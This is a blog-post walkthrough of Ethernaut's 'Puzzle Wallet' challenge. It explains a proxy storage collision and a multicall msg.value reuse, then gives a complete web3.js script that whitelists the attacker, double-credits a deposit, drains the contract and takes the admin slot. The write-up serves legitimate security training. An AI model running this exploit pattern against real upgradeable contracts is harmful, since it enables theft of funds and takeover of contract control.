Ethernaut Solutions: Challenge 24 Puzzle Wallet

Zvinodashe Mupambirei
2 min readJun 22, 2022

Challenge 24 on Ethernaut requires us to hijack a wallet and become the admin. Proxy Wallet is upgradeable but introduces some storage collisions which we will manipulate. Further to that, there is an unsafe delegate call multi-call pattern for bundled transactions which allows us to reuse msg.value.

The solution is to change slot maxBalance which corresponds to admin slot in Proxy by passing in our address. However to call setMaxBalance() we need to be whitelisted and the contract balance needs to be 0. Luckily function addToWhiteList() can be bypassed by storage collision pendingAdmin in Proxy and owner for contract.

Unfortunately, contract starts with a balance. To set contract balance we can see that execute() removes funds from contract however we can only remove the balance that we have. Fortunately the multi-call weakness allows us to deposit amount same as contract balance in a way that double credits us by bypassing selector check in multicall() via embedding another deposit in multicall. Once our balance is now the same as contract we can execute to remove funds. Once balance is 0 we can call setMaxBalance(player) with our address.

// 1. Set ourselves as pendingAdmin so we can add to whitelistconst data1 = web3.eth.abi.encodeFunctionCall({
name: 'proposeNewAdmin',
type: 'function',
inputs: [
{
"name": "_newAdmin",
"type": "address"
}
],
}, [player])
await web3.eth.sendTransaction({
from:player,
to:contract.address,
data: data1
})
await contract.owner() == player // needs to be true // 2. Add ourselves to whitelist await contract.addToWhitelist(player) await contract.whitelisted(player) // confirm whitelisted // 3. Remove funds from contract to pass require in setMaxBalance
// We need to call multicall([data2, data3])
// data2 is deposit() data3 embeds deposit() in multicall
await web3.eth.getBalance(contract.address) // '1000000000000000'(await contract.balances(player)).toString() // '0'const amount1 = '1000000000000000' // amount in contract
const amount2 = (amount1 * 2).toString()
const data2 = web3.eth.abi.encodeFunctionCall({
name: 'deposit',
type: 'function',
inputs: [],
}, [])
const data3 = web3.eth.abi.encodeFunctionCall({
name: 'multicall',
type: 'function',
inputs: [
{
"name": "data",
"type": "bytes[]"
}
],
}, [[data2]])
await contract.multicall([data2, data3], { value: amount1})await web3.eth.getBalance(contract.address) // amount2(await contract.balances(player)).toString() // balance == oursawait contract.execute(player, amount2, '0x') await web3.eth.getBalance(contract.address) // '0' contract empty// 4. Call setMaxBalance() to set the owner storage slot to oursawait contract.setMaxBalance(player)

ARE YOU A PROJECT IN NEED OF AN AUDIT?

If you are a project in need of smart contract security audit services from an expert security-focused company passionate about blockchain, with extensive knowledge, reputation in evaluating, testing, consulting, diligence, pen testing, and auditing projects on Ethereum, Binance Smart Chain, Polygon, Solana, EVM compatible chains etc fill in the form here.

--

--